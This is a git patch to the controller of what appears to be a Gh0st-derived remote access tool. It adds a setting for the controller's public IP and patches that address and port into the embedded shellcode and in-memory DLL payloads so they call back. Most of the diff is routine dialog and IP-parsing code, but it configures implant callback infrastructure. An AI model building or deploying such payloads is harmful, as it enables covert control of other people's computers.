From f4364a436839f1f84a67b05002eedaba19e225d9 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 14 Jun 2025 02:53:11 +0800 Subject: [PATCH] fix: Allow to set master's public IP --- server/2015Remote/2015Remote.rc | Bin 79010 -> 79252 bytes server/2015Remote/2015RemoteDlg.cpp | 25 ++++++++++++++++++++----- server/2015Remote/SettingDlg.cpp | 15 +++++++++++---- server/2015Remote/SettingDlg.h | 2 ++ server/2015Remote/parse_ip.cpp | 12 ++++++++++++ server/2015Remote/parse_ip.h | 5 +++++ server/2015Remote/resource.h | Bin 37970 -> 38062 bytes 7 files changed, 50 insertions(+), 9 deletions(-) diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 883f3f18bf96e80c526720b3254ea0dd2a2631cf..1f47feca014bd13b3cb51102f8295d5a5916ef80 100644 GIT binary patch delta 336 zcmW+yOG^S_6ut5pSp*e?J&bI|aYid-W||orf{21hi*ObpEiBsvm8h*;RETY=ttSv^ zRc?efJyz}XAJk818U2Z_ZtmrtbME8Z=U@NBpZ|3vELJFqpYtxh!fl@e@8n>}A)S`U zq+S(5L6b2hnZh6)Z<2v4NgcG9x5&o0Jc*99$9*W^IK^QwAwJ&W?iEYjLA zlz0&NGc%l_ecGU1O3@}Aam=tmgI{3xv&(i2TmJK}e%;pS6lP}sIoP0rk1*7TYiyqRGC%7n0Zb+BmG-EJe&|xrQfQaU) zD@~SAG-9>{@(m^RC)X*eaT^2WjTuaUq{-xmO{SBdDCz*s5LAj~HfAuGT&PsdY|3B^ zq%9}gNh(eDQVsyxW-)oLaxGAmw90x`Lk3F*v&rXG&VyN&lf%_5C*M)kV7372+N~}< zxv$@3a+sPHqv7PUDvKwps2eaF0bLuep2%znq<5=lvKs+SfY>fPxk1Zla)E{hP>t#2 z*&6Nara-sD8ZL_&zjZ7y1K@L-5 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 60cfa85..c9143f3 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -644,7 +644,7 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff return false; } -Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true) { +Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="") { BYTE* szBuffer = NULL; int dwFileSize = 0; @@ -686,6 +686,16 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true) { memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding); // CMD_DLLDATA + SHELLCODE + dwFileSize + pData auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize); + if (!addr.empty()) { + std::string s(skCrypt(FLAG_FINDEN)), ip, port; + int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length()); + if (offset !=-1){ + splitIpPort(addr, ip, port); + CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset); + server->SetServer(ip.c_str(), atoi(port.c_str())); + server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE); + } + } auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5); delete[] szBuffer; if (srcData != pData) @@ -723,10 +733,15 @@ BOOL CMy2015RemoteDlg::OnInitDialog() pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } - m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false); - m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true); - m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false); - m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false); + // 主控程序公网IP + std::string master = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "master", ""); + if (!master.empty()) { + master += ":" + ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ghost", "6543"); + } + m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master); + m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true, true, master); + m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false, master); + m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false, master); // 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动 // 执行此操作 diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index 4a40b72..0c8e38c 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -6,6 +6,7 @@ #include "SettingDlg.h" #include "afxdialogex.h" #include "client/CursorInfo.h" +#include "parse_ip.h" // CSettingDlg Ի @@ -19,6 +20,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent) , m_sScreenCompress(_T("Ļ㷨")) , m_nReportInterval(5) , m_sSoftwareDetect(_T("ͷ")) + , m_sPublicIP(_T("")) { } @@ -43,6 +45,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_COMBO_SOFTWAREDETECT, m_ComboSoftwareDetect); DDX_CBString(pDX, IDC_COMBO_SOFTWAREDETECT, m_sSoftwareDetect); DDV_MaxChars(pDX, m_sSoftwareDetect, 256); + DDX_Control(pDX, IDC_EDIT_PUBLIC_IP, m_EditPublicIP); + DDX_Text(pDX, IDC_EDIT_PUBLIC_IP, m_sPublicIP); + DDV_MaxChars(pDX, m_sPublicIP, 100); } BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) @@ -58,10 +63,11 @@ END_MESSAGE_MAP() BOOL CSettingDlg::OnInitDialog() { CDialog::OnInitDialog(); - - int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); + m_sPublicIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "master", ""); + m_sPublicIP = m_sPublicIP.IsEmpty() ? getPublicIP().c_str() : m_sPublicIP; + int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); //ȡini ļеļ˿ - int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); + int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); int DXGI = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "DXGI"); @@ -121,7 +127,8 @@ BOOL CSettingDlg::OnInitDialog() void CSettingDlg::OnBnClickedButtonSettingapply() { UpdateData(TRUE); - ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "ghost", m_nListenPort); + ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetStr("settings", "master", m_sPublicIP.GetBuffer()); + ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "ghost", m_nListenPort); //iniļдֵ ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "MaxConnection", m_nMax_Connect); diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index c93e0ac..ec5cd24 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -36,4 +36,6 @@ public: int m_nReportInterval; CComboBox m_ComboSoftwareDetect; CString m_sSoftwareDetect; + CEdit m_EditPublicIP; + CString m_sPublicIP; }; diff --git a/server/2015Remote/parse_ip.cpp b/server/2015Remote/parse_ip.cpp index 6ec9d5d..b242d6b 100644 --- a/server/2015Remote/parse_ip.cpp +++ b/server/2015Remote/parse_ip.cpp @@ -153,3 +153,15 @@ std::string getPublicIP() { return std::string(buffer); } + +void splitIpPort(const std::string& input, std::string& ip, std::string& port) { + size_t pos = input.find(':'); + if (pos != std::string::npos) { + ip = input.substr(0, pos); + port = input.substr(pos + 1); + } + else { + ip = input; + port = ""; + } +} diff --git a/server/2015Remote/parse_ip.h b/server/2015Remote/parse_ip.h index 6204905..b56dc1f 100644 --- a/server/2015Remote/parse_ip.h +++ b/server/2015Remote/parse_ip.h @@ -25,8 +25,13 @@ // 获取 IP 地址地理位置 std::string GetGeoLocation(const std::string& ip); +// 是否为本机IP bool isLocalIP(const std::string& ip); +// 获取本机公网IP, 获取失败返回空 std::string getPublicIP(); +// 判断给定的 IP 地址是否是局域网(内网)IP bool IsPrivateIP(const std::string& ipAddress); + +void splitIpPort(const std::string& input, std::string& ip, std::string& port); diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index c965cd0f3e2aa98c9ad4d6b2cddbc7e6deabab2d..060ecbb6188c5a8d12702b3ddb64141b600007ee 100644 GIT binary patch delta 56 zcmV-80LTB*r~x2~_|>089W$07H}SKO>Vccm|U;3mTJvj1aTDcorLz O)QJ|8E|V0K{F7Eg{}mhn delta 30 mcmZ3tlIhY4rVVQ